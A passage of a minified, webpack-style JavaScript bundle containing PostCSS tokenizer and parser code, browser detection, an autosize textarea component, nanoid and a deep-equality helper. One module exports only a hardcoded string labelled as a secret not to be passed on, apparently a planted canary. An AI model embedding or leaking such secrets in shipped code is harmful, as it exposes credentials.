build&quot;)}toUrl(e){let t=this.memoizedURLs.get(e);if(t)return t;&quot;\\&quot;===s&amp;&amp;(e=e.replace(/\\/g,&quot;/&quot;));let n=encodeURI(e).replace(/[#?]/g,encodeURIComponent);return this.memoizedURLs.set(e,n),n}}},1866:()=&gt;{},2213:e=&gt;{var t,n,o,r,i,s,l,a,c,u,d,p,h,g,m,f=!1;function b(){if(!f){f=!0;var e=navigator.userAgent,b=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))|(?:Trident\/\d+\.\d+.*rv:(\d+\.\d+))/.exec(e),k=/(Mac OS X)|(Windows)|(Linux)/.exec(e);if(p=/\b(iPhone|iP[ao]d)/.exec(e),h=/\b(iP[ao]d)/.exec(e),u=/Android/i.exec(e),g=/FBAN\/\w+;/i.exec(e),m=/Mobile/i.exec(e),d=!!/Win64/.exec(e),b){(t=b[1]?parseFloat(b[1]):b[5]?parseFloat(b[5]):NaN)&amp;&amp;document&amp;&amp;document.documentMode&amp;&amp;(t=document.documentMode);var v=/(?:Trident\/(\d+.\d+))/.exec(e);s=v?parseFloat(v[1])+4:t,n=b[2]?parseFloat(b[2]):NaN,o=b[3]?parseFloat(b[3]):NaN,(r=b[4]?parseFloat(b[4]):NaN)?(b=/(?:Chrome\/(\d+\.\d+))/.exec(e),i=b&amp;&amp;b[1]?parseFloat(b[1]):NaN):i=NaN}else t=n=o=i=r=NaN;if(k){if(k[1]){var _=/(?:Mac OS X (\d+(?:[._]\d+)?))/.exec(e);l=!_||parseFloat(_[1].replace(&quot;_&quot;,&quot;.&quot;))}else l=!1;a=!!k[2],c=!!k[3]}else l=a=c=!1}}var k={ie:function(){return b()||t},ieCompatibilityMode:function(){return b()||s&gt;t},ie64:function(){return k.ie()&amp;&amp;d},firefox:function(){return b()||n},opera:function(){return b()||o},webkit:function(){return b()||r},safari:function(){return k.webkit()},chrome:function(){return b()||i},windows:function(){return b()||a},osx:function(){return b()||l},linux:function(){return b()||c},iphone:function(){return b()||p},mobile:function(){return b()||p||h||u||m},nativeApp:function(){return b()||g},android:function(){return b()||u},ipad:function(){return b()||h}};e.exports=k},2327:e=&gt;{&quot;use strict&quot;;const t=&quot;&#039;&quot;.charCodeAt(0),n=&#039;&quot;&#039;.charCodeAt(0),o=&quot;\\&quot;.charCodeAt(0),r=&quot;/&quot;.charCodeAt(0),i=&quot;\n&quot;.charCodeAt(0),s=&quot; &quot;.charCodeAt(0),l=&quot;\f&quot;.charCodeAt(0),a=&quot;\t&quot;.charCodeAt(0),c=&quot;\r&quot;.charCodeAt(0),u=&quot;[&quot;.charCodeAt(0),d=&quot;]&quot;.charCodeAt(0),p=&quot;(&quot;.charCodeAt(0),h=&quot;)&quot;.charCodeAt(0),g=&quot;{&quot;.charCodeAt(0),m=&quot;}&quot;.charCodeAt(0),f=&quot;;&quot;.charCodeAt(0),b=&quot;*&quot;.charCodeAt(0),k=&quot;:&quot;.charCodeAt(0),v=&quot;@&quot;.charCodeAt(0),_=/[\t\n\f\r &quot;#&#039;()/;[\\\]{}]/g,y=/[\t\n\f\r !&quot;#&#039;():;@[\\\]{}]|\/(?=\*)/g,x=/.[\r\n&quot;&#039;(/\\]/,S=/[\da-f]/i;e.exports=function(e,w={}){let C,B,I,j,E,T,M,P,R,A,N=e.css.valueOf(),L=w.ignoreErrors,D=N.length,O=0,z=[],V=[];function F(t){throw e.error(&quot;Unclosed &quot;+t,O)}return{back:function(e){V.push(e)},endOfFile:function(){return 0===V.length&amp;&amp;O&gt;=D},nextToken:function(e){if(V.length)return V.pop();if(O&gt;=D)return;let w=!!e&amp;&amp;e.ignoreUnclosed;switch(C=N.charCodeAt(O),C){case i:case s:case a:case c:case l:j=O;do{j+=1,C=N.charCodeAt(j)}while(C===s||C===i||C===a||C===c||C===l);T=[&quot;space&quot;,N.slice(O,j)],O=j-1;break;case u:case d:case g:case m:case k:case f:case h:{let e=String.fromCharCode(C);T=[e,e,O];break}case p:if(A=z.length?z.pop()[1]:&quot;&quot;,R=N.charCodeAt(O+1),&quot;url&quot;===A&amp;&amp;R!==t&amp;&amp;R!==n&amp;&amp;R!==s&amp;&amp;R!==i&amp;&amp;R!==a&amp;&amp;R!==l&amp;&amp;R!==c){j=O;do{if(M=!1,j=N.indexOf(&quot;)&quot;,j+1),-1===j){if(L||w){j=O;break}F(&quot;bracket&quot;)}for(P=j;N.charCodeAt(P-1)===o;)P-=1,M=!M}while(M);T=[&quot;brackets&quot;,N.slice(O,j+1),O,j],O=j}else j=N.indexOf(&quot;)&quot;,O+1),B=N.slice(O,j+1),-1===j||x.test(B)?T=[&quot;(&quot;,&quot;(&quot;,O]:(T=[&quot;brackets&quot;,B,O,j],O=j);break;case t:case n:E=C===t?&quot;&#039;&quot;:&#039;&quot;&#039;,j=O;do{if(M=!1,j=N.indexOf(E,j+1),-1===j){if(L||w){j=O+1;break}F(&quot;string&quot;)}for(P=j;N.charCodeAt(P-1)===o;)P-=1,M=!M}while(M);T=[&quot;string&quot;,N.slice(O,j+1),O,j],O=j;break;case v:_.lastIndex=O+1,_.test(N),j=0===_.lastIndex?N.length-1:_.lastIndex-2,T=[&quot;at-word&quot;,N.slice(O,j+1),O,j],O=j;break;case o:for(j=O,I=!0;N.charCodeAt(j+1)===o;)j+=1,I=!I;if(C=N.charCodeAt(j+1),I&amp;&amp;C!==r&amp;&amp;C!==s&amp;&amp;C!==i&amp;&amp;C!==a&amp;&amp;C!==c&amp;&amp;C!==l&amp;&amp;(j+=1,S.test(N.charAt(j)))){for(;S.test(N.charAt(j+1));)j+=1;N.charCodeAt(j+1)===s&amp;&amp;(j+=1)}T=[&quot;word&quot;,N.slice(O,j+1),O,j],O=j;break;default:C===r&amp;&amp;N.charCodeAt(O+1)===b?(j=N.indexOf(&quot;*/&quot;,O+2)+1,0===j&amp;&amp;(L||w?j=N.length:F(&quot;comment&quot;)),T=[&quot;comment&quot;,N.slice(O,j+1),O,j],O=j):(y.lastIndex=O+1,y.test(N),j=0===y.lastIndex?N.length-1:y.lastIndex-2,T=[&quot;word&quot;,N.slice(O,j+1),O,j],z.push(T),O=j)}return O++,T},position:function(){return O}}}},2739:()=&gt;{},2775:e=&gt;{var t=String,n=function(){return{isColorSupported:!1,reset:t,bold:t,dim:t,italic:t,underline:t,inverse:t,hidden:t,strikethrough:t,black:t,red:t,green:t,yellow:t,blue:t,magenta:t,cyan:t,white:t,gray:t,bgBlack:t,bgRed:t,bgGreen:t,bgYellow:t,bgBlue:t,bgMagenta:t,bgCyan:t,bgWhite:t,blackBright:t,redBright:t,greenBright:t,yellowBright:t,blueBright:t,magentaBright:t,cyanBright:t,whiteBright:t,bgBlackBright:t,bgRedBright:t,bgGreenBright:t,bgYellowBright:t,bgBlueBright:t,bgMagentaBright:t,bgCyanBright:t,bgWhiteBright:t}};e.exports=n(),e.exports.createColors=n},3122:e=&gt;{&quot;use strict&quot;;let t={};e.exports=function(e){t[e]||(t[e]=!0,&quot;undefined&quot;!=typeof console&amp;&amp;console.warn&amp;&amp;console.warn(e))}},3815:e=&gt;{e.exports=function e(t,n,o){var r,i,s,l;for(r=0,i=t.length;r&lt;i;r+=1)s=t[r],o||(l=n(s,r,t)),!1!==l&amp;&amp;&quot;function&quot;===s.type&amp;&amp;Array.isArray(s.nodes)&amp;&amp;e(s.nodes,n,o),o&amp;&amp;n(s,r,t)}},3937:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(1326),r=n(6589),i=n(1516),s=n(9434),l=n(4092),a=n(2327);const c={empty:!0,space:!0};e.exports=class{constructor(e){this.input=e,this.root=new s,this.current=this.root,this.spaces=&quot;&quot;,this.semicolon=!1,this.createTokenizer(),this.root.source={input:e,start:{column:1,line:1,offset:0}}}atrule(e){let t,n,r,i=new o;i.name=e[1].slice(1),&quot;&quot;===i.name&amp;&amp;this.unnamedAtrule(i,e),this.init(i,e[2]);let s=!1,l=!1,a=[],c=[];for(;!this.tokenizer.endOfFile();){if(t=(e=this.tokenizer.nextToken())[0],&quot;(&quot;===t||&quot;[&quot;===t?c.push(&quot;(&quot;===t?&quot;)&quot;:&quot;]&quot;):&quot;{&quot;===t&amp;&amp;c.length&gt;0?c.push(&quot;}&quot;):t===c[c.length-1]&amp;&amp;c.pop(),0===c.length){if(&quot;;&quot;===t){i.source.end=this.getPosition(e[2]),i.source.end.offset++,this.semicolon=!0;break}if(&quot;{&quot;===t){l=!0;break}if(&quot;}&quot;===t){if(a.length&gt;0){for(r=a.length-1,n=a[r];n&amp;&amp;&quot;space&quot;===n[0];)n=a[--r];n&amp;&amp;(i.source.end=this.getPosition(n[3]||n[2]),i.source.end.offset++)}this.end(e);break}a.push(e)}else a.push(e);if(this.tokenizer.endOfFile()){s=!0;break}}i.raws.between=this.spacesAndCommentsFromEnd(a),a.length?(i.raws.afterName=this.spacesAndCommentsFromStart(a),this.raw(i,&quot;params&quot;,a),s&amp;&amp;(e=a[a.length-1],i.source.end=this.getPosition(e[3]||e[2]),i.source.end.offset++,this.spaces=i.raws.between,i.raws.between=&quot;&quot;)):(i.raws.afterName=&quot;&quot;,i.params=&quot;&quot;),l&amp;&amp;(i.nodes=[],this.current=i)}checkMissedSemicolon(e){let t=this.colon(e);if(!1===t)return;let n,o=0;for(let r=t-1;r&gt;=0&amp;&amp;(n=e[r],&quot;space&quot;===n[0]||(o+=1,2!==o));r--);throw this.input.error(&quot;Missed semicolon&quot;,&quot;word&quot;===n[0]?n[3]+1:n[2])}colon(e){let t,n,o,r=0;for(let[i,s]of e.entries()){if(n=s,o=n[0],&quot;(&quot;===o&amp;&amp;(r+=1),&quot;)&quot;===o&amp;&amp;(r-=1),0===r&amp;&amp;&quot;:&quot;===o){if(t){if(&quot;word&quot;===t[0]&amp;&amp;&quot;progid&quot;===t[1])continue;return i}this.doubleColon(n)}t=n}return!1}comment(e){let t=new r;this.init(t,e[2]),t.source.end=this.getPosition(e[3]||e[2]),t.source.end.offset++;let n=e[1].slice(2,-2);if(/^\s*$/.test(n))t.text=&quot;&quot;,t.raws.left=n,t.raws.right=&quot;&quot;;else{let e=n.match(/^(\s*)([^]*\S)(\s*)$/);t.text=e[2],t.raws.left=e[1],t.raws.right=e[3]}}createTokenizer(){this.tokenizer=a(this.input)}decl(e,t){let n=new i;this.init(n,e[0][2]);let o,r=e[e.length-1];for(&quot;;&quot;===r[0]&amp;&amp;(this.semicolon=!0,e.pop()),n.source.end=this.getPosition(r[3]||r[2]||function(e){for(let t=e.length-1;t&gt;=0;t--){let n=e[t],o=n[3]||n[2];if(o)return o}}(e)),n.source.end.offset++;&quot;word&quot;!==e[0][0];)1===e.length&amp;&amp;this.unknownWord(e),n.raws.before+=e.shift()[1];for(n.source.start=this.getPosition(e[0][2]),n.prop=&quot;&quot;;e.length;){let t=e[0][0];if(&quot;:&quot;===t||&quot;space&quot;===t||&quot;comment&quot;===t)break;n.prop+=e.shift()[1]}for(n.raws.between=&quot;&quot;;e.length;){if(o=e.shift(),&quot;:&quot;===o[0]){n.raws.between+=o[1];break}&quot;word&quot;===o[0]&amp;&amp;/\w/.test(o[1])&amp;&amp;this.unknownWord([o]),n.raws.between+=o[1]}&quot;_&quot;!==n.prop[0]&amp;&amp;&quot;*&quot;!==n.prop[0]||(n.raws.before+=n.prop[0],n.prop=n.prop.slice(1));let s,l=[];for(;e.length&amp;&amp;(s=e[0][0],&quot;space&quot;===s||&quot;comment&quot;===s);)l.push(e.shift());this.precheckMissedSemicolon(e);for(let t=e.length-1;t&gt;=0;t--){if(o=e[t],&quot;!important&quot;===o[1].toLowerCase()){n.important=!0;let o=this.stringFrom(e,t);o=this.spacesFromEnd(e)+o,&quot; !important&quot;!==o&amp;&amp;(n.raws.important=o);break}if(&quot;important&quot;===o[1].toLowerCase()){let o=e.slice(0),r=&quot;&quot;;for(let e=t;e&gt;0;e--){let t=o[e][0];if(r.trim().startsWith(&quot;!&quot;)&amp;&amp;&quot;space&quot;!==t)break;r=o.pop()[1]+r}r.trim().startsWith(&quot;!&quot;)&amp;&amp;(n.important=!0,n.raws.important=r,e=o)}if(&quot;space&quot;!==o[0]&amp;&amp;&quot;comment&quot;!==o[0])break}e.some((e=&gt;&quot;space&quot;!==e[0]&amp;&amp;&quot;comment&quot;!==e[0]))&amp;&amp;(n.raws.between+=l.map((e=&gt;e[1])).join(&quot;&quot;),l=[]),this.raw(n,&quot;value&quot;,l.concat(e),t),n.value.includes(&quot;:&quot;)&amp;&amp;!t&amp;&amp;this.checkMissedSemicolon(e)}doubleColon(e){throw this.input.error(&quot;Double colon&quot;,{offset:e[2]},{offset:e[2]+e[1].length})}emptyRule(e){let t=new l;this.init(t,e[2]),t.selector=&quot;&quot;,t.raws.between=&quot;&quot;,this.current=t}end(e){this.current.nodes&amp;&amp;this.current.nodes.length&amp;&amp;(this.current.raws.semicolon=this.semicolon),this.semicolon=!1,this.current.raws.after=(this.current.raws.after||&quot;&quot;)+this.spaces,this.spaces=&quot;&quot;,this.current.parent?(this.current.source.end=this.getPosition(e[2]),this.current.source.end.offset++,this.current=this.current.parent):this.unexpectedClose(e)}endFile(){this.current.parent&amp;&amp;this.unclosedBlock(),this.current.nodes&amp;&amp;this.current.nodes.length&amp;&amp;(this.current.raws.semicolon=this.semicolon),this.current.raws.after=(this.current.raws.after||&quot;&quot;)+this.spaces,this.root.source.end=this.getPosition(this.tokenizer.position())}freeSemicolon(e){if(this.spaces+=e[1],this.current.nodes){let t=this.current.nodes[this.current.nodes.length-1];t&amp;&amp;&quot;rule&quot;===t.type&amp;&amp;!t.raws.ownSemicolon&amp;&amp;(t.raws.ownSemicolon=this.spaces,this.spaces=&quot;&quot;,t.source.end=this.getPosition(e[2]),t.source.end.offset+=t.raws.ownSemicolon.length)}}getPosition(e){let t=this.input.fromOffset(e);return{column:t.col,line:t.line,offset:e}}init(e,t){this.current.push(e),e.source={input:this.input,start:this.getPosition(t)},e.raws.before=this.spaces,this.spaces=&quot;&quot;,&quot;comment&quot;!==e.type&amp;&amp;(this.semicolon=!1)}other(e){let t=!1,n=null,o=!1,r=null,i=[],s=e[1].startsWith(&quot;--&quot;),l=[],a=e;for(;a;){if(n=a[0],l.push(a),&quot;(&quot;===n||&quot;[&quot;===n)r||(r=a),i.push(&quot;(&quot;===n?&quot;)&quot;:&quot;]&quot;);else if(s&amp;&amp;o&amp;&amp;&quot;{&quot;===n)r||(r=a),i.push(&quot;}&quot;);else if(0===i.length){if(&quot;;&quot;===n){if(o)return void this.decl(l,s);break}if(&quot;{&quot;===n)return void this.rule(l);if(&quot;}&quot;===n){this.tokenizer.back(l.pop()),t=!0;break}&quot;:&quot;===n&amp;&amp;(o=!0)}else n===i[i.length-1]&amp;&amp;(i.pop(),0===i.length&amp;&amp;(r=null));a=this.tokenizer.nextToken()}if(this.tokenizer.endOfFile()&amp;&amp;(t=!0),i.length&gt;0&amp;&amp;this.unclosedBracket(r),t&amp;&amp;o){if(!s)for(;l.length&amp;&amp;(a=l[l.length-1][0],&quot;space&quot;===a||&quot;comment&quot;===a);)this.tokenizer.back(l.pop());this.decl(l,s)}else this.unknownWord(l)}parse(){let e;for(;!this.tokenizer.endOfFile();)switch(e=this.tokenizer.nextToken(),e[0]){case&quot;space&quot;:this.spaces+=e[1];break;case&quot;;&quot;:this.freeSemicolon(e);break;case&quot;}&quot;:this.end(e);break;case&quot;comment&quot;:this.comment(e);break;case&quot;at-word&quot;:this.atrule(e);break;case&quot;{&quot;:this.emptyRule(e);break;default:this.other(e)}this.endFile()}precheckMissedSemicolon(){}raw(e,t,n,o){let r,i,s,l,a=n.length,u=&quot;&quot;,d=!0;for(let e=0;e&lt;a;e+=1)r=n[e],i=r[0],&quot;space&quot;!==i||e!==a-1||o?&quot;comment&quot;===i?(l=n[e-1]?n[e-1][0]:&quot;empty&quot;,s=n[e+1]?n[e+1][0]:&quot;empty&quot;,c[l]||c[s]||&quot;,&quot;===u.slice(-1)?d=!1:u+=r[1]):u+=r[1]:d=!1;if(!d){let o=n.reduce(((e,t)=&gt;e+t[1]),&quot;&quot;);e.raws[t]={raw:o,value:u}}e[t]=u}rule(e){e.pop();let t=new l;this.init(t,e[0][2]),t.raws.between=this.spacesAndCommentsFromEnd(e),this.raw(t,&quot;selector&quot;,e),this.current=t}spacesAndCommentsFromEnd(e){let t,n=&quot;&quot;;for(;e.length&amp;&amp;(t=e[e.length-1][0],&quot;space&quot;===t||&quot;comment&quot;===t);)n=e.pop()[1]+n;return n}spacesAndCommentsFromStart(e){let t,n=&quot;&quot;;for(;e.length&amp;&amp;(t=e[0][0],&quot;space&quot;===t||&quot;comment&quot;===t);)n+=e.shift()[1];return n}spacesFromEnd(e){let t,n=&quot;&quot;;for(;e.length&amp;&amp;(t=e[e.length-1][0],&quot;space&quot;===t);)n=e.pop()[1]+n;return n}stringFrom(e,t){let n=&quot;&quot;;for(let o=t;o&lt;e.length;o++)n+=e[o][1];return e.splice(t,e.length-t),n}unclosedBlock(){let e=this.current.source.start;throw this.input.error(&quot;Unclosed block&quot;,e.line,e.column)}unclosedBracket(e){throw this.input.error(&quot;Unclosed bracket&quot;,{offset:e[2]},{offset:e[2]+1})}unexpectedClose(e){throw this.input.error(&quot;Unexpected }&quot;,{offset:e[2]},{offset:e[2]+1})}unknownWord(e){throw this.input.error(&quot;Unknown word &quot;+e[0][1],{offset:e[0][2]},{offset:e[0][2]+e[0][1].length})}unnamedAtrule(e,t){throw this.input.error(&quot;At-rule without name&quot;,{offset:t[2]},{offset:t[2]+t[1].length})}}},4067:e=&gt;{&quot;use strict&quot;;e.exports=&quot;SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED&quot;},4092:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(683),r=n(7374);class i extends o{get selectors(){return r.comma(this.selector)}set selectors(e){let t=this.selector?this.selector.match(/,\s*/):null,n=t?t[0]:&quot;,&quot;+this.raw(&quot;between&quot;,&quot;beforeOpen&quot;);this.selector=e.join(n)}constructor(e){super(e),this.type=&quot;rule&quot;,this.nodes||(this.nodes=[])}}e.exports=i,i.default=i,o.registerRule(i)},4132:(e,t,n)=&gt;{&quot;use strict&quot;;var o=n(4462);t.A=o.TextareaAutosize},4295:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(683),r=n(5380),i=n(3937);function s(e,t){let n=new r(e,t),o=new i(n);try{o.parse()}catch(e){throw e}return o.root}e.exports=s,s.default=s,o.registerParse(s)},4306:function(e,t){var n,o,r;
/*!
	autosize 4.0.4
	license: MIT
	http://www.jacklmoore.com/autosize
*/o=[e,t],n=function(e,t){&quot;use strict&quot;;var n,o,r=&quot;function&quot;==typeof Map?new Map:(n=[],o=[],{has:function(e){return n.indexOf(e)&gt;-1},get:function(e){return o[n.indexOf(e)]},set:function(e,t){-1===n.indexOf(e)&amp;&amp;(n.push(e),o.push(t))},delete:function(e){var t=n.indexOf(e);t&gt;-1&amp;&amp;(n.splice(t,1),o.splice(t,1))}}),i=function(e){return new Event(e,{bubbles:!0})};try{new Event(&quot;test&quot;)}catch(e){i=function(e){var t=document.createEvent(&quot;Event&quot;);return t.initEvent(e,!0,!1),t}}function s(e){if(e&amp;&amp;e.nodeName&amp;&amp;&quot;TEXTAREA&quot;===e.nodeName&amp;&amp;!r.has(e)){var t=null,n=null,o=null,s=function(){e.clientWidth!==n&amp;&amp;p()},l=function(t){window.removeEventListener(&quot;resize&quot;,s,!1),e.removeEventListener(&quot;input&quot;,p,!1),e.removeEventListener(&quot;keyup&quot;,p,!1),e.removeEventListener(&quot;autosize:destroy&quot;,l,!1),e.removeEventListener(&quot;autosize:update&quot;,p,!1),Object.keys(t).forEach((function(n){e.style[n]=t[n]})),r.delete(e)}.bind(e,{height:e.style.height,resize:e.style.resize,overflowY:e.style.overflowY,overflowX:e.style.overflowX,wordWrap:e.style.wordWrap});e.addEventListener(&quot;autosize:destroy&quot;,l,!1),&quot;onpropertychange&quot;in e&amp;&amp;&quot;oninput&quot;in e&amp;&amp;e.addEventListener(&quot;keyup&quot;,p,!1),window.addEventListener(&quot;resize&quot;,s,!1),e.addEventListener(&quot;input&quot;,p,!1),e.addEventListener(&quot;autosize:update&quot;,p,!1),e.style.overflowX=&quot;hidden&quot;,e.style.wordWrap=&quot;break-word&quot;,r.set(e,{destroy:l,update:p}),a()}function a(){var n=window.getComputedStyle(e,null);&quot;vertical&quot;===n.resize?e.style.resize=&quot;none&quot;:&quot;both&quot;===n.resize&amp;&amp;(e.style.resize=&quot;horizontal&quot;),t=&quot;content-box&quot;===n.boxSizing?-(parseFloat(n.paddingTop)+parseFloat(n.paddingBottom)):parseFloat(n.borderTopWidth)+parseFloat(n.borderBottomWidth),isNaN(t)&amp;&amp;(t=0),p()}function c(t){var n=e.style.width;e.style.width=&quot;0px&quot;,e.offsetWidth,e.style.width=n,e.style.overflowY=t}function u(e){for(var t=[];e&amp;&amp;e.parentNode&amp;&amp;e.parentNode instanceof Element;)e.parentNode.scrollTop&amp;&amp;t.push({node:e.parentNode,scrollTop:e.parentNode.scrollTop}),e=e.parentNode;return t}function d(){if(0!==e.scrollHeight){var o=u(e),r=document.documentElement&amp;&amp;document.documentElement.scrollTop;e.style.height=&quot;&quot;,e.style.height=e.scrollHeight+t+&quot;px&quot;,n=e.clientWidth,o.forEach((function(e){e.node.scrollTop=e.scrollTop})),r&amp;&amp;(document.documentElement.scrollTop=r)}}function p(){d();var t=Math.round(parseFloat(e.style.height)),n=window.getComputedStyle(e,null),r=&quot;content-box&quot;===n.boxSizing?Math.round(parseFloat(n.height)):e.offsetHeight;if(r&lt;t?&quot;hidden&quot;===n.overflowY&amp;&amp;(c(&quot;scroll&quot;),d(),r=&quot;content-box&quot;===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight):&quot;hidden&quot;!==n.overflowY&amp;&amp;(c(&quot;hidden&quot;),d(),r=&quot;content-box&quot;===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight),o!==r){o=r;var s=i(&quot;autosize:resized&quot;);try{e.dispatchEvent(s)}catch(e){}}}}function l(e){var t=r.get(e);t&amp;&amp;t.destroy()}function a(e){var t=r.get(e);t&amp;&amp;t.update()}var c=null;&quot;undefined&quot;==typeof window||&quot;function&quot;!=typeof window.getComputedStyle?((c=function(e){return e}).destroy=function(e){return e},c.update=function(e){return e}):((c=function(e,t){return e&amp;&amp;Array.prototype.forEach.call(e.length?e:[e],(function(e){return s(e,t)})),e}).destroy=function(e){return e&amp;&amp;Array.prototype.forEach.call(e.length?e:[e],l),e},c.update=function(e){return e&amp;&amp;Array.prototype.forEach.call(e.length?e:[e],a),e}),t.default=c,e.exports=t.default},void 0===(r=&quot;function&quot;==typeof n?n.apply(t,o):n)||(e.exports=r)},4462:function(e,t,n){&quot;use strict&quot;;var o,r=this&amp;&amp;this.__extends||(o=Object.setPrototypeOf||{__proto__:[]}instanceof Array&amp;&amp;function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&amp;&amp;(e[n]=t[n])},function(e,t){function n(){this.constructor=e}o(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}),i=this&amp;&amp;this.__assign||Object.assign||function(e){for(var t,n=1,o=arguments.length;n&lt;o;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&amp;&amp;(e[r]=t[r]);return e},s=this&amp;&amp;this.__rest||function(e,t){var n={};for(var o in e)Object.prototype.hasOwnProperty.call(e,o)&amp;&amp;t.indexOf(o)&lt;0&amp;&amp;(n[o]=e[o]);if(null!=e&amp;&amp;&quot;function&quot;==typeof Object.getOwnPropertySymbols){var r=0;for(o=Object.getOwnPropertySymbols(e);r&lt;o.length;r++)t.indexOf(o[r])&lt;0&amp;&amp;(n[o[r]]=e[o[r]])}return n};t.__esModule=!0;var l=n(1609),a=n(5826),c=n(4306),u=n(461),d=&quot;autosize:resized&quot;,p=function(e){function t(){var t=null!==e&amp;&amp;e.apply(this,arguments)||this;return t.state={lineHeight:null},t.textarea=null,t.onResize=function(e){t.props.onResize&amp;&amp;t.props.onResize(e)},t.updateLineHeight=function(){t.textarea&amp;&amp;t.setState({lineHeight:u(t.textarea)})},t.onChange=function(e){var n=t.props.onChange;t.currentValue=e.currentTarget.value,n&amp;&amp;n(e)},t}return r(t,e),t.prototype.componentDidMount=function(){var e=this,t=this.props,n=t.maxRows,o=t.async;&quot;number&quot;==typeof n&amp;&amp;this.updateLineHeight(),&quot;number&quot;==typeof n||o?setTimeout((function(){return e.textarea&amp;&amp;c(e.textarea)})):this.textarea&amp;&amp;c(this.textarea),this.textarea&amp;&amp;this.textarea.addEventListener(d,this.onResize)},t.prototype.componentWillUnmount=function(){this.textarea&amp;&amp;(this.textarea.removeEventListener(d,this.onResize),c.destroy(this.textarea))},t.prototype.render=function(){var e=this,t=this.props,n=(t.onResize,t.maxRows),o=(t.onChange,t.style),r=(t.innerRef,t.children),a=s(t,[&quot;onResize&quot;,&quot;maxRows&quot;,&quot;onChange&quot;,&quot;style&quot;,&quot;innerRef&quot;,&quot;children&quot;]),c=this.state.lineHeight,u=n&amp;&amp;c?c*n:null;return l.createElement(&quot;textarea&quot;,i({},a,{onChange:this.onChange,style:u?i({},o,{maxHeight:u}):o,ref:function(t){e.textarea=t,&quot;function&quot;==typeof e.props.innerRef?e.props.innerRef(t):e.props.innerRef&amp;&amp;(e.props.innerRef.current=t)}}),r)},t.prototype.componentDidUpdate=function(){this.textarea&amp;&amp;c.update(this.textarea)},t.defaultProps={rows:1,async:!1},t.propTypes={rows:a.number,maxRows:a.number,onResize:a.func,innerRef:a.any,async:a.bool},t}(l.Component);t.TextareaAutosize=l.forwardRef((function(e,t){return l.createElement(p,i({},e,{innerRef:t}))}))},4725:e=&gt;{function t(e,t){var o,r,i=e.type,s=e.value;return t&amp;&amp;void 0!==(r=t(e))?r:&quot;word&quot;===i||&quot;space&quot;===i?s:&quot;string&quot;===i?(o=e.quote||&quot;&quot;)+s+(e.unclosed?&quot;&quot;:o):&quot;comment&quot;===i?&quot;/*&quot;+s+(e.unclosed?&quot;&quot;:&quot;*/&quot;):&quot;div&quot;===i?(e.before||&quot;&quot;)+s+(e.after||&quot;&quot;):Array.isArray(e.nodes)?(o=n(e.nodes,t),&quot;function&quot;!==i?o:s+&quot;(&quot;+(e.before||&quot;&quot;)+o+(e.after||&quot;&quot;)+(e.unclosed?&quot;&quot;:&quot;)&quot;)):s}function n(e,n){var o,r;if(Array.isArray(e)){for(o=&quot;&quot;,r=e.length-1;~r;r-=1)o=t(e[r],n)+o;return o}return t(e,n)}e.exports=n},5042:e=&gt;{e.exports={nanoid:(e=21)=&gt;{let t=&quot;&quot;,n=0|e;for(;n--;)t+=&quot;useandom-26T198340PX75pxJACKVERYMINDBUSHWOLF_GQZbfghjklqvwyzrict&quot;[64*Math.random()|0];return t},customAlphabet:(e,t=21)=&gt;(n=t)=&gt;{let o=&quot;&quot;,r=0|n;for(;r--;)o+=e[Math.random()*e.length|0];return o}}},5215:e=&gt;{&quot;use strict&quot;;e.exports=function e(t,n){if(t===n)return!0;if(t&amp;&amp;n&amp;&amp;&quot;object&quot;==typeof t&amp;&amp;&quot;object&quot;==typeof n){if(t.constructor!==n.constructor)return!1;var o,r,i;if(Array.isArray(t)){if((o=t.length)!=n.length)return!1;for(r=o;0!=r--;)if(!e(t[r],n[r]))return!1;return!0}if(t.constructor===RegExp)return t.source===n.source&amp;&amp;t.flags===n.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===n.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===n.toString();if((o=(i=Object.keys(t)).length)!==Object.keys(n).length)return!1;for(r=o;0!=r--;)if(!Object.prototype.hasOwnProperty.call(n,i[r]))return!1;for(r=o;0!=r--;){var s=i[r];if(!e(t[s],n[s]))return!1}return!0}return t!=t&amp;&amp;n!=n}},5380:(e,t,n)=&gt;{&quot;use strict&quot;;let{nanoid:o}=n(5042),{isAbsolute:r,resolve:i}=n(197),{SourceMapConsumer:s,SourceMapGenerator:l}=n(1866),{fileURLToPath:a,pathToFileURL:c}=n(2739),u=n(356),d=n(5696),p=n(9746),h=Symbol(&quot;lineToIndexCache&quot;),g=Boolean(s&amp;&amp;l),m=Boolean(i&amp;&amp;r);function f(e){if(e[h])return e[h];let t=e.css.split(&quot;\n&quot;),n=new Array(t.length),o=0;for(let e=0,r=t.length;e&lt;r;e++)n[e]=o,o+=t[e].length+1;return e[h]=n,n}class b{get from(){return this.file||this.id}constructor(e,t={}){if(null==e||&quot;object&quot;==typeof e&amp;&amp;!e.toString)throw new Error(`PostCSS received ${e} instead of CSS string`);if(this.css=e.toString(),&quot;\ufeff&quot;===this.css[0]||&quot;￾&quot;===this.css[0]?(this.hasBOM=!0,this.css=this.css.slice(1)):this.hasBOM=!1,this.document=this.css,t.document&amp;&amp;(this.document=t.document.toString()),t.from&amp;&amp;(!m||/^\w+:\/\//.test(t.from)||r(t.from)?this.file=t.from:this.file=i(t.from)),m&amp;&amp;g){let e=new d(this.css,t);if(e.text){this.map=e;let t=e.consumer().file;!this.file&amp;&amp;t&amp;&amp;(this.file=this.mapResolve(t))}}this.file||(this.id=&quot;&lt;input css &quot;+o(6)+&quot;&gt;&quot;),this.map&amp;&amp;(this.map.file=this.from)}error(e,t,n,o={}){let r,i,s,l,a;if(t&amp;&amp;&quot;object&quot;==typeof t){let e=t,o=n;if(&quot;number&quot;==typeof e.offset){l=e.offset;let o=this.fromOffset(l);t=o.line,n=o.col}else 